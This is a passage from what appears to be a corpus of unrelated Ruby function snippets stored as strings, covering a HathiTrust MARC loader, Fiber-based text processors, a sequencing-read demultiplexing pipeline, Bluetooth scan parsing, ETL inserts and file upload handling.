line_hash['record_id'].first.values.first;\n\n if rec_id.length > @max_record_id_len then\n rec_id = rec_id[0..(@max_record_id_len-1)];\n end\n\n\n end\n\n if !line_hash['item_id'].nil? then\n if line_hash['item_id'].first.class == {}.class then\n item_id = line_hash['item_id'].first.values.first;\n if item_id.size > 50 then\n # Make sure we fit in the column.\n item_id = item_id[0..49];\n end\n end\n end\n\n # Get a gd_id from mysql.\n # Use it as primary key in hathi_gd.\n # Use it in all the tables (except hathi_str) as foreign key.\n begin\n @hathi_gd_insert_q.execute(1, file_id, lineno, mongo_id, hashsum, rec_id, item_id);\n @last_id_q.query() do |row|\n gd_id = row[:id];\n end\n rescue Java::ComMysqlJdbcExceptionsJdbc4::MySQLIntegrityConstraintViolationException => e\n if (e.to_s =~ /Duplicate entry.+for key 'hashsum'/) == 0 then\n dups += 1;\n next;\n else\n puts e;\n puts line;\n end\n end\n # If we got a gd_id, proceed to insert the rest.\n insert_line(line_hash, gd_id);\n end\n hdin.close();\n\n # When all the lines in the file have been read and the loadfiles are done,\n # use the loadfiles for their intended purpose.\n @loadfiles.keys.each do |suffix|\n loadfile = @loadfiles[suffix];\n loadfile.close();\n sql = \"LOAD DATA LOCAL INFILE ? REPLACE INTO TABLE hathi_#{suffix} (gd_id, str_id, marc_field)\";\n puts sql;\n query = @conn.prepare(sql);\n query.execute(loadfile.path);\n # loadfile.delete();\n end\n\n puts @bench.prettyprint();\n puts \"#{dups} dups\";\nend", "def blocks() end", "def write_nonblock\n end", "def doing_extract_data\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n IO.foreach(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\") do |line| \n queue = \"\"\n puts queue\n sequence_text, sequence_creation, sequence_complete, sequence_lexigram, sequence_singular, sequence_lense, description, reference, anagram, name, phrase, research, external, internal, created_at = line.split(\"\\t\")\n extracted_data = sequence_text.to_textual\n queue << \"#{extracted_data}\\n\"\n break unless line\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end", "def doing_phrases_file_decomma\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/mysql_history_001.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n IO.foreach(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\") do |line| \n queue = \"\"\n puts queue\n #sequence_text = line.to_textual.de_comma\n sequence_text = line.to_textual\n queue << \"#{sequence_text}\\n\"\n break unless line\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end", "def prepare_reads(base, map, fqgz0, *fqgzs0)\n\n fqgzs = [fqgz0] + fqgzs0\n\n bcs = Hash.new\n open(map, 'r').each do |line|\n bc, well = line.rstrip.split(',')\n bcs[bc] = well\n end\n \n bcl = bcs.keys.map!{|key| key.length}.sort.uniq[0]\n\n tso_pattern = '.'*options.umi_length + '.'*bcl + 'GG'\n\n #\n \n STDERR.puts \"#{`date`.strip}: Demultiplexing each raw sequence files...\"\n \n fqgz2csv0 = Hash.new\n fqgz2csv1 = Hash.new\n fqgz2base = Hash.new\n fqgzs.each do |fqgz|\n fqgz2csv0[fqgz] = get_temporary_path('strt.preprocess', 'csv', false)\n fqgz2csv1[fqgz] = get_temporary_path('strt.preprocess', 'csv', false)\n fqgz2base[fqgz] = get_temporary_path('strt.preprocess', 'base', false)\n end\n\n Parallel.map(fqgz2csv0.keys, in_processes: options.parallel) do |fqgz|\n cmds = [\n \"unpigz -c #{fqgz}\",\n \"#{fq1l_convert_command(options)}\",\n \"#{fq1l_count_command(options)} #{fqgz2csv0[fqgz]}\",\n \"fq1l match_5end#{grep_prefix_option(options)} #{tso_pattern}\",\n \"#{fq1l_count_command(options)} #{fqgz2csv1[fqgz]}\",\n \"fq1l annotate_index --first-cycle=#{options.umi_length+1} --last-cycle=#{options.umi_length+bcl}\",\n \"fq1l annotate_umi --first-cycle=1 --last-cycle=#{options.umi_length}\",\n \"fq1l sort_index#{coreutils_prefix_option}#{parallel_option(options)} --buffer-size=#{(options.maximum_memory/(fqgz2csv0.keys.size+1)).to_i}%\",\n \"fq1l demultiplex #{fqgz2base[fqgz]} #{map}\"\n ]\n cmds.insert(2, \"#{head_command(options)} -n #{options.reads}\") unless options.reads.nil?\n stats = Open3.pipeline(*cmds)\n stats.each_index do |i|\n raise \"Fail at process #{i}; #{stats[i]}; #{cmds[i]}\" unless stats[i].success? || (stats[i].signaled? && stats[i].termsig == 13)\n end\n end\n\n system \"fq1l sum_counts #{fqgz2csv0.values.join(' ')} > #{base}.count.step1.csv\"\n unlink_files(fqgz2csv0.values)\n \n system \"fq1l sum_counts #{fqgz2csv1.values.join(' ')} > #{base}.count.step2.csv\"\n unlink_files(fqgz2csv1.values)\n\n #\n \n (bcs.values + ['NA']).each do |well|\n\n STDERR.puts \"#{`date`.strip}: Finishing well #{well}...\"\n \n tmpfqgzs = fqgz2base.values.map {|base| \"#{base}.#{well}.fq.gz\"}\n csvs = Array.new(6) {|i| \"#{base}.#{well}.count.step#{i+3}.csv\"}\n \n pipeline(\"unpigz -c #{tmpfqgzs.join(' ')}\",\n \"#{fq1l_convert_command(options)}\",\n \"#{fq1l_count_command(options)} #{csvs[0]}\",\n \"#{fq1l_sort_command} --buffer-size=#{(options.maximum_memory/2).to_i}%\",\n \"fq1l exclude_duplicate\",\n \"#{fq1l_count_command(options)} #{csvs[1]}\",\n \"fq1l trim_3end_quality\",\n \"#{fq1l_count_command(options)} #{csvs[2]}\",\n \"fq1l trim_3end_primer#{coreutils_prefix_option}#{grep_prefix_option(options)}#{parallel_option(options)}\",\n \"#{fq1l_count_command(options)} #{csvs[3]}\",\n \"#{fq1l_sort_command} --buffer-size=#{(options.maximum_memory/2).to_i}%\",\n \"fq1l exclude_degenerate\",\n \"#{fq1l_count_command(options)} #{csvs[4]}\",\n \"fq1l trim_5end --minimum-length=#{options.minimum_length} #{tso_pattern}+\",\n \"#{fq1l_count_command(options)} #{csvs[5]}\",\n \"fq1l restore#{coreutils_prefix_option}\",\n \"pigz -c > #{base}.#{well}.fq.gz\")\n \n unlink_files(tmpfqgzs)\n \n end\n \n end", "def load\n flush\n replay\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @return_codes << shift_byte(buffer) while buffer.bytesize > 0\n end", "def ignore_bad_chunking; end", "def ignore_bad_chunking; end", "def before_perform\n init\n\n @pdbfile = @basename+\".pdb\"\n params_to_file(@pdbfile, 'sequence_input', 'sequence_file')\n @outfile = @basename+\".out\"\n logger.debug \"Outfile: #{@outfile}\"\n @paramsfile = @basename+\".params\"\n logger.debug \"Paramsfile: #{@paramsfile}\"\n #parameters\n\n @chain1_letter = params['chain1_letter'] ? params['chain1_letter'] : \"\"\n @chain1_letter.upcase!\n @chain1_start = params['chain1_start'] ? params['chain1_start'] : \"\"\n @chain1_end = params['chain1_end'] ? params['chain1_end'] : \"\"\n @chain2_letter = params['chain2_letter'] ? params['chain2_letter'] : \"\"\n @chain2_letter.upcase!\n @chain2_start = params['chain2_start'] ? params['chain2_start'] : \"\"\n @chain2_end = params['chain2_end'] ? params['chain2_end'] : \"\"\n @chain3_letter = params['chain3_letter'] ? params['chain3_letter'] : \"\"\n @chain3_letter.upcase!\n @chain3_start = params['chain3_start'] ? params['chain3_start'] : \"\"\n @chain3_end = params['chain3_end'] ? params['chain3_end'] : \"\"\n @chain4_letter = params['chain4_letter'] ? params['chain4_letter'] : \"\"\n @chain4_letter.upcase!\n @chain4_start = params['chain4_start'] ? params['chain4_start'] : \"\"\n @chain4_end = params['chain4_end'] ? params['chain4_end'] : \"\"\n @periodicity = params['periodicity'] ? params['periodicity'] : \"\"\n @firstpos1 = params['first_position1'] ? params['first_position1'] : \"\"\n @firstpos1.downcase!\n @firstpos2 = params['first_position2'] ? params['first_position2'] : \"\"\n @firstpos2.downcase!\n @firstpos3 = params['first_position3'] ? params['first_position3'] : \"\"\n @firstpos3.downcase!\n @firstpos4 = params['first_position4'] ? params['first_position4'] : \"\"\n @firstpos4.downcase!\n @crick = params['crick'] ? \"1\" : \"0\"\n\n logger.debug \"Chain1: letter #{@chain1_letter}; start #{@chain1_start}; end #{@chain1_end}\"\n logger.debug \"Chain2: letter #{@chain2_letter}; start #{@chain2_start}; end #{@chain2_end}\"\n logger.debug \"Chain3: letter #{@chain3_letter}; start #{@chain3_start}; end #{@chain3_end}\"\n logger.debug \"Chain4: letter #{@chain4_letter}; start #{@chain4_start}; end #{@chain4_end}\"\n logger.debug \"Periodicity: #{@periodicity}\"\n logger.debug \"Crick: #{@crick}\"\n\n save_parameters\n end", "def store_sequence(parsing_error, sequence_id, hour, sequence_bytes)\n begin\n # getting the current date and time\n now = Time.now()\n\n if parsing_error == ParsingErrorType::NO_ERROR\n # adding a line to the received sequences file\n @received_handle.write(\"#{now}\\t\\t\\t#{sequence_id}\\t\\t\\t#{hour}\\t\\t\\t#{sequence_bytes}\\n\")\n @received_handle.flush()\n else\n # adding a line to the failed sequences file\n @failed_handle.write(\"#{now}\\t\\t\\t#{sequence_id}\\t\\t\\t#{hour}\\t\\t\\t#{parsing_error}\\t\\t\\t#{sequence_bytes}\\n\")\n @failed_handle.flush()\n end\n rescue Exception => e\n # building the error message\n msg = \"Hard drive error. Original error message:\\r\\n'#{e.message}'\"\n\n # writing message in console\n puts msg\n\n # raising the exception again\n raise e\n end\n end", "def doing_array\n consumer = Fiber.new do |producer, queue|\n #f = open(\"./lib/fiber_output.txt\", \"a\") do |f|\n #f = open(\"./lib/files_to_textual/fibering_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f| \n a = open(\"./lib/databasers/fibering_files_output.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n #puts queue\n #puts \"queue : \" + \"#{queue}\"\n #puts queue\n #puts queue.to_s\n #puts queue.to_s.chomp\n #puts queue.to_s.strip\n #puts queue.to_s.strip.downcase\n #puts queue.to_s.strip.downcase.to_textual\n a << f << queue.to_s.chomp.to_textual\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n b = IO.readlines(\"./lib/databasers/fibered_files_input.txt\")\n #b = IO.readlines(file_name)\n #b = IO.readlines(ARGV)\n #b = IO.readlines(\"./lib/the_input.txt\")\n loop do\n while queue = b.shift\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end", "def parse(bytes)\n # tack new bytes on to partial packet\n @packet.concat(bytes.force_encoding('BINARY'))\n # find START_BYTE\n until (startPos = @packet.index(START_BYTE)).nil?\n after = @packet.slice(startPos+1 .. -1)\n nread = case after[0]\n when ID_ADC_STATUS\n parseADCStatus(after)\n when ID_DATA\n parseDataPacket(after)\n when ID_IO_STATUS\n parseIOStatus(after)\n when nil # no more bytes\n 0\n else\n # consume up to next START_BYTE\n after.index(START_BYTE) || 0\n end\n @packet = after.slice(nread .. -1)\n end\n end", "def before_perform\n @outdir = job.job_dir.to_s\n @basename = File.join(job.job_dir, job.jobid)\n @infile = @basename+\".in\" \n # still has to be generated\n @outfile = @basename+\".frags\"\n params_to_file(@infile, 'sequence_input', 'sequence_file')\n @informat = params['informat'] ? params['informat'] : 'fas'\n @predict_ta = params['ta']\n reformat(@informat, \"fas\", @infile)\n @commands = []\n \n \n end", "def handle_grouped_chunk(grouped_chunk, bt_mode, timestamp)\n tx_power = nil\n grouped_chunk.each do |grp|\n\n # when we only have a single line in a group we can handle simply\n if grp.count == 1\n line = grp[0]\n\n # next line was not nested, treat as single line\n parse_single_line(line, bt_mode, timestamp, tx_power)\n\n # if we have multiple lines in our group of lines determine how to\n # process and set\n else\n case\n\n # these special messags had effectively duplicate header lines\n # which is be shifted off and then re-grouped\n when grp[0] =~ /^\\s+(LE|ATT|L2CAP)/\n grp.shift\n grp = group_by_depth(grp)\n grp.each do |entry|\n if entry.count == 1\n line = entry[0]\n parse_single_line(line, bt_mode, timestamp, tx_power)\n else\n handle_grouped_chunk(grp, bt_mode, timestamp)\n end\n end\n\n # Attribute type: Primary Service (0x2800)\n # UUID: Unknown (7905f431-b5ce-4e99-a40f-4b1e122d00d0)\n when grp[0] =~ /^\\s+Attribute type: Primary Service/\n vals = grp.map(&:strip)\n uuid = vals.select{|x| x =~ /^UUID/}[0]\n set_attr(\"#{bt_mode}_service_uuids\".to_sym, uuid.split(': ')[1])\n\n when grp[0] =~ /^\\s+Flags:/\n grp.shift\n vals = grp.map(&:strip)\n set_attr(\"#{bt_mode}_flags\".to_sym, vals.join(\", \"))\n\n\n # Page: 1/1\n # Features: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n # Secure Simple Pairing (Host Support)\n # LE Supported (Host)\n # Simultaneous LE and BR/EDR (Host)\n when grp[0] =~ /^\\s+Page/\n page = grp.shift.split(':')[1].strip.split('/')[0]\n bitmap = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n set_attr(\"#{bt_mode}_features_bitmap\".to_sym, [page, bitmap])\n set_attr(\"#{bt_mode}_features\".to_sym, vals.join(\", \"))\n\n # Features: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n # Secure Simple Pairing (Host Support)\n # LE Supported (Host)\n # Simultaneous LE and BR/EDR (Host)\n when grp[0] =~ /^\\s+Features/\n bitmap = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n\n # default page value is here set to '0'\n set_attr(\"#{bt_mode}_features_bitmap\".to_sym, ['0',bitmap])\n set_attr(\"#{bt_mode}_features\".to_sym, vals.join(\", \"))\n\n when grp[0] =~ /^\\s+Channels/\n header = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n vals.unshift(header)\n set_attr(\"#{bt_mode}_channels\".to_sym, vals.join(\", \"))\n\n # not in spec fixtures...\n # \" 128-bit Service UUIDs (complete): 2 entries\\r\\n\",\n # \" 00000000-deca-fade-deca-deafdecacafe\\r\\n\",\n # \" 2d8d2466-e14d-451c-88bc-7301abea291a\\r\\n\",\n when grp[0] =~ /128-bit Service UUIDs \\((complete|partial)\\):/\n grp.shift # header line\n vals = grp.map(&:strip)\n vals.each do |uuid|\n set_attr(\"#{bt_mode}_service_uuids\".to_sym, uuid)\n end\n\n # Company: Apple, Inc. (76)\n # Type: iBeacon (2)\n # UUID: 7988f2b6-dc41-1291-8746-ecf83cc7a06c\n # Version: 15104.61591\n # TX power: -56 dB\n # Data: 01adddd439aed386c76574e9ab9e11958e25c1f70ae203\n\n when grp[0] =~ /Company:/\n vals = grp.map(&:strip)\n\n #hack because datamapper doesn't respect varchar255 setting\n company_tmp = vals.shift.split(': ')[1]\n company_hex = company_tmp.scan(/\\(([^)]+)\\)/).flatten[0].to_i.to_s(16)\n if company_tmp.length > 49 && company_tmp.scan(/\\(/).count == 2\n company_tmp = company_tmp.split('(')\n company_tmp.delete_at(1)\n company_tmp = company_tmp.join('(')\n if company_tmp.length > 49\n BlueHydra.logger.warn(\"Attempted to handle long company and still too long:\")\n BlueHydra.logger.warn(\"company_tmp: #{company_tmp}\")\n BlueHydra.logger.warn(\"Truncating company...\")\n company_tmp = company_tmp[0,49]\n end\n end\n if company_tmp.length > 49\n BlueHydra.logger.warn(\"Did not attempt to handle long company and still too long:\")\n BlueHydra.logger.warn(\"company_tmp: #{company_tmp}\")\n BlueHydra.logger.warn(\"Truncating company...\")\n company_tmp = company_tmp[0,49]\n end\n\n set_attr(:company, company_tmp)\n\n # Company can also contain multiple types....\n # so we need to reset the parsing on every Type line\n\n # Company: Apple, Inc. (76)\n # Type: Unknown (12)\n # Data: 00188218be794011f7678726540b\n # Type: Unknown (16)\n # Data: 1b1ca2bea2\n\n company_type = nil\n company_type_last_set = nil\n vals.each do |company_line|\n case\n when company_line =~ /^Type:/\n company_type = company_line.split(': ')[1]\n company_type_hex = company_type.scan(/\\(([^)]+)\\)/).flatten[0].to_i.to_s(16)\n company_type_last_set = timestamp.split(': ')[1].to_f\n set_attr(:company_type, company_type)\n flipped_prox_uuid = nil\n major = nil\n minor = nil\n when company_line =~ /^UUID:/\n if company_type && company_type =~ /\\(2\\)/ && company_type_last_set && company_type_last_set == timestamp.split(': ')[1].to_f\n flipped_prox_uuid = company_line.split(': ')[1].gsub('-','').scan(/.{2}/).reverse.join.scan(/(.{8})(.{4})(.{4})(.*)/).join('-')\n set_attr(\"#{bt_mode}_proximity_uuid\".to_sym, flipped_prox_uuid)\n else\n set_attr(\"#{bt_mode}_company_uuid\".to_sym, company_line.split(': ')[1])\n end\n when company_line =~/^Version:/\n if company_type && company_type =~ /\\(2\\)/ && company_type_last_set && company_type_last_set == timestamp.split(': ')[1].to_f\n #bluez decodes this as little endian but it's actually big so we have to reverse it\n major = company_line.split(': ')[1].split('.')[0].to_i.to_s(16).rjust(4, '0').scan(/.{2}/).map { |i| i.to_i(16).chr }.join.unpack('S<*').first\n minor = company_line.split(': ')[1].split('.')[1].to_i.to_s(16).rjust(4, '0').scan(/.{2}/).map { |i| i.to_i(16).chr }.join.unpack('S<*').first\n set_attr(\"#{bt_mode}_major_num\".to_sym, major)\n set_attr(\"#{bt_mode}_minor_num\".to_sym, minor)\n else\n set_attr(\"#{bt_mode}_company_version\".to_sym, company_line.split(': ')[1])\n end\n when company_line =~ /^TX power:/\n tx_power = company_line.split(': ')[1]\n set_attr(\"#{bt_mode}_tx_power\".to_sym, tx_power)\n when company_line =~ /^Data:/\n set_attr(\"#{bt_mode}_company_data\".to_sym, company_line.split(': ')[1])\n end\n end\n\n # not in spec fixtures...\n # \" 16-bit Service UUIDs (complete): 7 entries\\r\\n\",\n # \" PnP Information (0x1200)\\r\\n\",\n # \" Handsfree Audio Gateway (0x111f)\\r\\n\",\n # \" Phonebook Access Server (0x112f)\\r\\n\",\n # \" Audio Source (0x110a)\\r\\n\",\n # \" A/V Remote Control Target (0x110c)\\r\\n\",\n # \" NAP (0x1116)\\r\\n\",\n # \" Message Access Server (0x1132)\\r\\n\",\n when grp[0] =~ /16-bit Service UUIDs \\(complete\\):/\n grp.shift # header line\n vals = grp.map(&:strip)\n vals.each do |uuid|\n set_attr(\"#{bt_mode}_uuids\".to_sym, uuid)\n end\n\n # not in spec fixtures...\n # \" Class: 0x7a020c\\r\\n\",\n # \" Major class: Phone (cellular, cordless, payphone, modem)\\r\\n\",\n # \" Minor class: Smart phone\\r\\n\",\n # \" Networking (LAN, Ad hoc)\\r\\n\",\n # \" Capturing (Scanner, Microphone)\\r\\n\",\n # \" Object Transfer (v-Inbox, v-Folder)\\r\\n\",\n # \" Audio (Speaker, Microphone, Headset)\\r\\n\",\n # \" Telephony (Cordless telephony, Modem, Headset)\\r\\n\",\n when grp[0] =~ /Class:/\n grp = grp.map(&:strip)\n vals = []\n\n grp.each do |line|\n case\n when line =~ /^Class:/\n vals << line.split(':')[1].strip\n when line =~ /^Major class:/\n set_attr(\"#{bt_mode}_major_class\".to_sym, line.split(':')[1].strip)\n when line =~ /^Minor class:/\n set_attr(\"#{bt_mode}_minor_class\".to_sym, line.split(':')[1].strip)\n else\n vals << line\n end\n end\n\n set_attr(\"#{bt_mode}_class\".to_sym, vals) unless vals.empty?\n\n when grp[0] =~ /^\\s+Manufacturer/\n grp.map do |line|\n parse_single_line(line, bt_mode, timestamp)\n end\n\n else\n set_attr(\"#{bt_mode}_unknown\".to_sym, grp.inspect)\n end\n end\n end\n end", "def flush\n conn.transaction do\n buffer.flatten.each do |row|\n # check to see if this row's compound key constraint already exists\n # note that the compound key constraint may not utilize virtual fields\n next unless row_allowed?(row)\n\n # add any virtual fields\n add_virtuals!(row)\n \n names = []\n values = []\n order.each do |name|\n names << \"`#{name}`\"\n values << conn.quote(row[name]) # TODO: this is probably not database agnostic\n end\n q = \"INSERT INTO `#{table_name}` (#{names.join(',')}) VALUES (#{values.join(',')})\"\n ETL::Engine.logger.debug(\"Executing insert: #{q}\")\n conn.insert(q, \"Insert row #{current_row}\")\n @current_row += 1\n end\n buffer.clear\n end\n end", "def enqueue_packet(payload); end", "def transact; end", "def decode(buf)\n @cc.update_sets\n @cc.process(header(buf)) while !buf.eof?\n @cc.workset.map {|i,header| header}\n end", "def doing_phrase_lines\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n IO.foreach(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\") do |line|\n queue = \"\"\n puts queue\n sequence_text = line.to_textual.de_comma\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n sequence_lense = \"\"\n description = \"\"\n reference = \"\"\n anagram = 0\n name = 0\n phrase = 1\n research = 0\n external = 0\n internal = 0\n created_at = \"2011-12-12 12:12:00\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{sequence_lense}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end", "def parse\n logger.debug \"Reading stoage file from: #{self.file.path}\"\n if self.status != 'finished'\n last_parsed_line = self.last_parsed_line\n # make_options\n begin\n # Match the proper parser and build options\n case self.file_type\n when \"1\"\n @parser = Wms::Input::Filetype1\n else\n raise \"Undefined storage type #{file_type}\"\n end\n # when \"wifilocation\"\n # @parser = Wms::Input::AndroidWifiLocation\n # when \"sensor\"\n # @parser = Wms::Input::AndroidSensor\n # when \"audio\"\n # raise \"Not Supported yet storage type #{file_type}\"\n # else\n # raise \"Undefined storage type #{file_type}\"\n # end\n\n @processor = @parser.new\n options = make_options\n @processor.register(options=options)\n\n @processor.run do |data|\n begin\n create_event data\n \n rescue Exception => e\n logger.error \"ERROR #{self.class.name}: #{e} for #{data}\"\n end\n last_parsed_line += 1\n end\n\n \n self.last_parsed_line = last_parsed_line\n self.status = \"finished\"\n self.save\n \n rescue Exception => e\n logger.error \"ERROR: [#{e}]\"\n self.last_parsed_line = last_parsed_line\n self.status = \"error\"\n self.save\n end # end begin\n \n end #end if self.status != 'finished'\n\n\n \n \n end", "def transfer; end", "def transfer; end", "def ingest (file, attrs = {})\n file = File.new(file, \"r\") if file.kind_of? String\n\n source_filename = File.basename file\n attrs[:name] = attrs[:name] || File.basename(file, \".*\")\n\n params = { input: source_filename }\n\n params.merge! attrs\n uri_params = Helper.to_request_params params\n\n # Create request object\n # TODO: This is not going to work with big files\n req = Net::HTTP::Post.new(\"/sources?\"+uri_params)\n req['Content-Length'] = File.size file\n req.body_stream = File.open file\n\n json_source = nil\n\n @lagoonserver.request_with_auth req do |resp|\n # Deal with the response. Response comes (mostly) in pairs:\n # - {\"start\": <some action>} <-- <some action> was started\n # - \"ok\" <-- the last <some action> finished\n #\n # We keep track of the state using a stack. Since we're getting packets\n # from the socket we need to keep track of the leftover, since we're\n # parsing lines.\n leftover = \"\"\n state = []\n resp.read_body do |segment|\n leftover = leftover + segment\n lines = leftover.lines\n\n # 'lines' will keep the '\\n' character. Whatever ends with '\\n' was\n # indeed a full line. The rest (which should be a single element array)\n # is the leftover.\n readys_leftover = lines.partition {|l| l.end_with? \"\\n\"}\n readys = readys_leftover[0].map(&:chomp)\n leftover = readys_leftover[1][0] || \"\"\n\n readys.each do |l|\n if l == \"\\\"ok\\\"\"\n # In case of \"ok\" we pop the last state and log that it's now done.\n log_info \"Done: #{state.pop}\"\n else\n # In case of a \"start\" we log the new action and push it on the\n # stack.\n new_blob = JSON.parse(l)\n if start_token = new_blob[\"start\"]\n # In case of a \"start\" we log the new action and push it on the\n # stack.\n log_info \"Start: \" + start_token\n state.push start_token\n elsif notice_token = new_blob[\"notice\"]\n # Sometimes it's a \"notice\"; very well, just log it.\n log_info \"Notice: \" + notice_token\n else\n # If it's neither \"ok\", a start or a notice, just log its JSON\n # representation and implicitly assume it might be the source\n # metadata.\n json_source = JSON.parse(l)\n log_info (JSON.pretty_generate json_source)\n end\n end\n end\n end\n end\n Source.new(json_source, self)\n end", "def commit\n thr = Thread.new do\n Zlib::GzipWriter.open(@file) do |gz|\n gz.write(JSON.generate(@a))\n end\n end \n thr.join \n end", "def inflate(data); end", "def encode\n Rails.logger.debug \"*** Sending video to encoding.com\"\n self.encodingid = ENCQ.add_and_process(\n encoding_source_url, #source\n {\n # Task 1: Encode into a 608x size video mp4 (normal)\n # encoding_target_url => EncodingDotCom::Format.create(\n # 'output' => 'mp4',\n # 'size' => '608x0',\n # 'add_meta' => 'yes',\n # 'bitrate' => '1024k',\n # 'framerate' => '25',\n # 'video_codec' => 'libx264',\n # 'audio_bitrate' => '128k',\n # 'profile' => 'baseline',\n # 'two_pass' => 'yes'),\n # Encode into a 608x size video flv w/ vp6\n encoding_target_url('flv') => EncodingDotCom::Format.create(\n 'output' => 'flv',\n 'size' => '608x0',\n 'bitrate' => '1024k',\n 'framerate' => '25',\n 'video_codec' => 'vp6',\n 'audio_bitrate' => '128k'),\n # # Task 2: Encode into a 320x size video (preview)\n # resource.container_encoded_url('preview') => EncodingDotCom::Format.create(\n # 'output' => 'mp4',\n # 'size' => '320x0',\n # 'add_meta' => 'yes',\n # 'bitrate' => '1024k',\n # 'framerate' => '25',\n # 'video_codec' => 'libx264',\n # 'audio_bitrate' => '128k',\n # 'profile' => 'baseline',\n # 'two_pass' => 'yes'),\n \n # Task 2: Generate a thumbnail\n encoding_target_url('jpg') => EncodingDotCom::Format.create(\n 'output' => 'thumbnail', \n 'width' => '100', \n 'height' => '100',\n 'time' => 2),\n },\n #{ 'notify' => encoding_callback_url }\n { 'notify' => encoding_callback_url(:host => ENCODING_DOT_COM_POSTBACK_HOST)}\n # Alternatively you could also:\n #{ 'notify' => \"marc@eternos.com\" }\n )\n save\n end", "def test_store_file\n #emulate the saving of a file whose content is 'test content'\n @writer.save_file('test content')\n #we expect three chunks for\n expected_chunks = ['test ', 'conte', 'nt']\n expected_chunks_sha = expected_chunks.map{|s| ComputeSHADigest s}\n #A. Each of the chunk is named with the sha on its content\n expected_chunks_sha.each{|sha| assert( @ioservice.exists? :chunk, sha )}\n \n #B. The filename is retrieved from the sha of the whole string\n file_sha = ComputeSHADigest 'test content'\n assert( @ioservice.exists?(:file, file_sha), \"file not found: #{file_sha} in #{@ioservice.store[:file]}\" )\n #C. The file lists all its chunks\n @ioservice.read_elem(:file, file_sha) do |c|\n c.each_line.zip(expected_chunks_sha).each{ |l, sha| assert_equal(l.strip, sha) }\n end\n #D. the adlers directory should be filled with the adler32 code of each chunk\n CheckChunksInAdlerDirectory( @adlers, expected_chunks )\n end", "def insert_line (json, gd_id)\n json.default = [];\n\n # Get the oclc value, look up a str_id for it and write to oclc load file together with the gd_id and marc_field.\n json['oclc'].each do |oclc|\n marc_field = oclc.keys.first;\n val = oclc[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['oclc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n # Get the sudoc value, look up a str_id for it and write to sudoc load file together with the gd_id and marc_field.\n json['sudoc'].each do |sudoc|\n marc_field = sudoc.keys.first;\n val = HTPH::Hathinormalize.sudoc(sudoc[marc_field].to_s);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['sudoc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n # ... and so on for isbn, issn, lccn, title, enumc, pubdate and publisher.\n json['isbn'].each do |isbn|\n marc_field = isbn.keys.first;\n val = isbn[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['isbn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['issn'].each do |issn|\n marc_field = issn.keys.first;\n val = issn[marc_field].to_s;\n next if val.empty?;\n next if val == '1'; # Common crud. Perhaps no longer.\n\n str_id = get_str_id(val);\n @loadfiles['issn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['lccn'].each do |lccn|\n marc_field = lccn.keys.first;\n val = lccn[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['lccn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['title'].each do |title|\n marc_field = title.keys.first;\n val = HTPH::Hathinormalize.title(title[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['title'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['enumc'].each do |enumc|\n marc_field = enumc.keys.first;\n val = HTPH::Hathinormalize.enumc(enumc[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['enumc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['pubdate'].each 